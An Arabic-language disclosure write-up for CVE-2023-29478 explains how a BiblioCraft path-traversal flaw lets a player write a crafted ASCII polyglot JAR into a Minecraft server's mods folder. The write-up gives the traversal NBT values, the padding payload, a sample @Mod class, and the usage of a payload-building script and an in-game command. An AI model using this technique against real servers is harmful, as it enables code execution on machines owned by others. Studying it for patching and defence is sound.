
CVE-2023-29478 - استغلال BiblioCraft لمعالجة الملفات/تنفيذ الأكواد عن بُعد يؤثر على إصدارات BiblioCraft السابقة للإصدار v2.4.6
تتطلب هذه الطريقة BiblioCraft فقط! لا حاجة للكثير من الحيل أو أي مودات أخرى لتحقيق تنفيذ الأكواد!
يمكن العثور على المقال الأصلي الذي يركز على CoreTweaks هنا. أوصي بقراءته أولاً لأنني قد أتخطى بعض التفاصيل المهمة أدناه.
يمكن تنفيذ الأكواد من خلال طرق متعددة. يؤثر هذا على BiblioCraft 1.7.10 v1.11.7 و BiblioCraft 1.12.2 v2.4.5 (مؤكد) وربما جميع إصدارات BiblioCraft قبل v2.4.6 (غير مؤكد، لم يتم اختباره).
التصحيحات الحالية التي تعالج ثغرة اجتياز المسار ستظل تمنع مسار تنفيذ الأكواد الجديد هذا.
هذه المرة نركز على حفظ الكتب المكتوبة في الفانيلا.
تُحفظ الكتب المكتوبة في world/books/<اسم-المؤلف>, <عنوان-الكتاب>.
تنسيق هذه الكتب هو، لكل سطر:
بالاستمرار من البداية، تبدأ صفحات الكتاب بعلامة #pgx<رقم-الصفحة> ومن السطر التالي حتى العلامة التالية يكون جزءًا من تلك الصفحة. سيضيف BiblioCraft دائمًا سطرًا جديدًا في نهاية الأسطر، حتى لو لم يتبعه شيء.
كما في السابق، يمكننا التحكم في كل من عنوان الكتاب واسم المؤلف من خلال علامة NBT الخاصة بالكتاب وكذلك تنفيذ اجتياز المسار.
المكان الذي سنكتب إليه هو مجلد mods/. يتم تخزين المودات في هذا الدليل غالبًا كملفات JAR. خاصية لطيفة لملفات JAR هي أنها في الواقع مجرد ملفات ZIP متنكرة.
إذن، لماذا يساعدنا ذلك؟
تمتلك ملفات ZIP خاصية مثيرة للاهتمام حيث يمكن أن تظل صالحة حتى مع إضافة بيانات غير مرغوب فيها في البداية أو النهاية.
سجل EOCD (نهاية السجل المركزي) داخل ملف ZIP يتم وضعه في النهاية.
يتكون (تقريبًا) من توقيع سحري 0x06054b50، بالإضافة إلى عدد وحجم وإزاحة سجلات الدليل المركزي داخل الأرشيف.
الحقل الأخير في سجل EOCD هو تعليق مسبوق بطول، ويمكن أن يكون أي تسلسل بايت تقريبًا ليس هو السحر * (لم يتم اختباره) *.
(أعتقد أن محللات ملفات ZIP تبدأ من النهاية وتبحث عن توقيع EOCD لتحليل الأرشيف، لكني لست متأكدًا تمامًا.)
إذا كان كل ما يحتاجه محلل ZIP للعثور على الملفات داخل الأرشيف هو سجل EOCD، وإذا كان بإمكان أي بيانات (مع قيود) متابعة سجل EOCD، فيمكننا إنشاء ZIP صالح حتى لو كانت هناك بعض البيانات الأخرى داخل الملف.
(شكر كبير لـ https://github.com/c0ny1/ascii-jar! لقد استخدمت هذه الأدوات بكثافة!)
أولاً، نحتاج إلى هيكلة الحمولة الخاصة بنا. سيقوم Forge بتحميل الفئات كمودات إذا كانت تحتوي على التعليق الخاص @Mod، لذا سنستخدم ذلك هنا.
حمولتنا التقريبية:
@Mod(modid = "payload-mod")
public class Payload {
// ...
static {
System.out.println("Hello World!");
}
// ...
}
لتجنب مشكلات الترميز، نستخدم سكريبتًا لإنشاء ملف JAR يحتوي على أحرف ASCII فقط ويحتوي على فئة الحمولة فقط.
نقوم بحشو البداية بـ PK\3\4.jar\n../../mods/\nprivate\n#pgx0\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
السبب وراء إضافة PK\3\4 (توقيع رأس الملف المحلي لـ ZIP) إلى الحشو هو شذوذ غريب في Forge لم أتمكن من إعادة إنتاجه خارجيًا حيث يتم التحقق من ملفات JAR لتبدأ بهذا التوقيع، على الرغم من أن هذا ليس مطلبًا لـ ZIP؟ قد يكون خللًا في Forge.
نستخدم السلسلة الطويلة من الأحرف 'A' و 'a' للتأكد من أن الإزاحة أكبر من 255، مما يضمن أن العدد الصحيح ذو البايتين الذي يشفر الإزاحة لا يحتوي على بايتات خارج نطاق ASCII.
نقوم بحشو النهاية بـ \n لتجنب مشاكل إضافة BiblioCraft لأسطر جديدة.
باستخدام ملف jar الجديد المملوء، نأخذ جميع البايتات التي تلي آخر سطر جديد من البيانات التي حشونا بها البداية وننشئ سلسلة جديدة منها (سنسميها <jar-data>) وننشئ كتابًا مكتوبًا جديدًا ببيانات NBT:
TAG_Compound(''): 2 entries
{
TAG_String("author"): "../../mods/"
TAG_String("title"): "PK\3\4.jar"
TAG_List("pages"): 1 entry
{
TAG_String(None): "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + <jar-data>
}
}
عندما نحفظ هذا الكتاب على القرص عبر BiblioCraft، سيتم "إعادة إنشاء" جميع بيانات الحشو بواسطة تنسيقه، مما يجعل ملف JAR صالحًا مرة أخرى.
والآن، في المرة التالية التي يعيد فيها الخادم التشغيل (حتى إعادة التشغيل العادية، أو إذا تسببت في تعطل) سيتم تحميل ملف JAR الخاص بالمود الخاص بنا وسيتم تنفيذ الكود.
في BiblioPOC/tools/ يوجد سكريبت Python3 للمساعدة في إنشاء حمولة صالحة.
الوسائط هي:
python3 create_payload.py [java_file] [forge_jar_location] [class_name] [output_dir]
ثم، عندما تكون في اللعبة وأنت تحمل دليل BiblioCraft، نفذ
/jarpoccommand [completed_jar_path] حيث [completed_jar_path] هو المسار إلى [output_dir]/completed.jar.